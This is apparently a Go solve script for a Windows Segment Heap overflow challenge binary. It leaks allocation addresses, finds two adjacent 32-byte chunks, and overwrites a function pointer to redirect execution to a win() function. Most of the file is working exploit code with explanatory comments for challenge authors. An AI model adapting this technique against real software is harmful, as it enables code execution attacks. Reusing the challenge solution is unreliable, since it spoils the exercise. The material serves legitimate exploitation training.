/* Solve script for heap_segment.exe (see src/heap_segment.c): an adjacent-chunk heap overflow on a real Segment-Heap-backed process heap (the target opts in via an embedded manifest; GetProcessHeap() really is Segment Heap, confirmed in the C source's own startup banner). Segment Heap's "Small" allocator packs same-size allocations densely into 4KB pages, but *not* in allocation order -- the offset within the page is randomized per allocation (empirically verified while building this: twenty sequential 32-byte allocations land all over a single page, not back-to-back). So instead of assuming adjacency, this script leaks every allocation's address (the target's A command happens to print it, the same "legitimate bookkeeping output doubles as the leak primitive" pattern as examples/heap_lfh) and searches the leaked addresses for a pair that really is exactly sizeof(Profile)=32 bytes apart. Empirically, a spray of 20 always contains at least one such pair on this machine/OS build. Once found: id_a's name buffer is overflowable past its own 32 bytes straight into id_b's struct, landing on id_b's `describe` function pointer at offset 24-31 of id_b -- i.e. offset 56-63 relative to id_a's own allocation start. The spray/pair-search loop is winpwn.SprayAndFind (spray.go) -- the same primitive examples/heap_lfh uses for a structurally different relation (equality against one known target, instead of a distance check across everything sprayed). NOTE FOR TASK AUTHORS (not specific to this task -- read this before designing your own heap challenge): "20 always contains a pair" and the profileSize=32 distance check are facts about *this exact struct, on this exact Windows build*, measured empirically by spraying it for real -- not something Segment Heap guarantees as a stable contract. Segment Heap's "Small" allocator's packing behavior is liable to differ across Windows versions (and possibly even across runs on heavily fragmented heaps). Anyone reusing this adjacent-overflow approach for a different struct size or a different machine should re-run the same empirical step this script already does at runtime -- spray N, leak every address, check for the expected distance -- rather than hardcoding a spray count or an offset copied from this writeup and assuming it transfers. */ package main import ( "bytes" "fmt" "log" "strconv" "winpwn" ) func parseIDAndAddr(line []byte) (int, uint64, error) { idIdx := bytes.Index(line, []byte("id=")) addrIdx := bytes.Index(line, []byte("addr=0x")) if idIdx == -1 || addrIdx == -1 { return 0, 0, fmt.Errorf("unparseable line %q", line) } idPart := bytes.Fields(line[idIdx+len("id="):])[0] id, err := strconv.Atoi(string(idPart)) if err != nil { return 0, 0, err } addrPart := bytes.TrimSpace(line[addrIdx+len("addr=0x"):]) addr, err := strconv.ParseUint(string(addrPart), 16, 64) if err != nil { return 0, 0, err } return id, addr, nil } const profileSize = 32 // sizeof(Profile): char name[24] + void* describe func main() { pf, err := winpwn.OpenPE("heap_segment.exe") if err != nil { log.Fatalf("OpenPE: %v", err) } winRVA, err := pf.GetProcAddress("win") if err != nil { log.Fatalf("win() not found: %v", err) } base, err := pf.ImageBase() if err != nil { log.Fatalf("ImageBase: %v", err) } winAddr := base + winRVA pf.Close() fmt.Printf("[+] win() address: 0x%X\n", winAddr) tube, err := winpwn.Spawn("heap_segment.exe") if err != nil { log.Fatalf("Spawn: %v", err) } readyLine, err := tube.RecvLine() if err != nil { log.Fatalf("RecvLine: %v", err) } fmt.Printf("[*] %s", readyLine) // winpwn.SprayAndFind with no seed: every newly sprayed allocation is // checked against everything sprayed before it for the one relation // that matters here -- "exactly sizeof(Profile) apart" -- rather than // collecting all addresses first and searching afterward. const spray = 20 a, b, _, ok, err := winpwn.SprayAndFind( nil, spray, func(i int) (winpwn.SprayResult[uint64], error) { if err := tube.SendLine([]byte(fmt.Sprintf("A filler%d", i))); err != nil { return winpwn.SprayResult[uint64]{}, fmt.Errorf("SendLine: %w", err) } resp, err := tube.RecvLine() if err != nil { return winpwn.SprayResult[uint64]{}, fmt.Errorf("RecvLine: %w", err) } id, addr, err := parseIDAndAddr(resp) return winpwn.SprayResult[uint64]{ID: id, Key: addr}, err }, func(x, y uint64) bool { d := int64(y) - int64(x) return d == profileSize || d == -profileSize }, ) if err != nil { log.Fatalf("spray: %v", err) } if !ok { log.Fatalf("no adjacent pair found in a spray of %d -- try a bigger spray", spray) } // match() is direction-agnostic (it only checks |distance|), so the // attacker (the lower address -- it overflows *forward* into the // victim) needs to be picked out by comparing the two found keys, not // just trusting which one SprayAndFind happened to label "older". attackerID, victimID := a.ID, b.ID attackerAddr, victimAddr := a.Key, b.Key if a.Key > b.Key { attackerID, victimID = b.ID, a.ID attackerAddr, victimAddr = b.Key, a.Key } fmt.Printf("[+] found adjacent pair: attacker id=%d (0x%X), victim id=%d (0x%X)\n", attackerID, attackerAddr, victimID, victimAddr) // 56 bytes of filler to walk past the attacker's own 32-byte // allocation and the victim's name[24], landing exactly on the // victim's `describe` field (offset 24 within the victim, i.e. // offset 32+24=56 from the attacker's allocation start). payload := bytes.Repeat([]byte{0x41}, 56) payload = append(payload, winpwn.P64(winAddr)...) payloadHex := winpwn.Enhex(payload) if err := tube.SendLine([]byte(fmt.Sprintf("O %d %s", attackerID, payloadHex))); err != nil { log.Fatalf("SendLine: %v", err) } resp, err := tube.RecvLine() if err != nil { log.Fatalf("RecvLine: %v", err) } fmt.Printf("[*] overflow response: %s", resp) if err := tube.SendLine([]byte(fmt.Sprintf("D %d", victimID))); err != nil { log.Fatalf("SendLine: %v", err) } tube.Interactive() }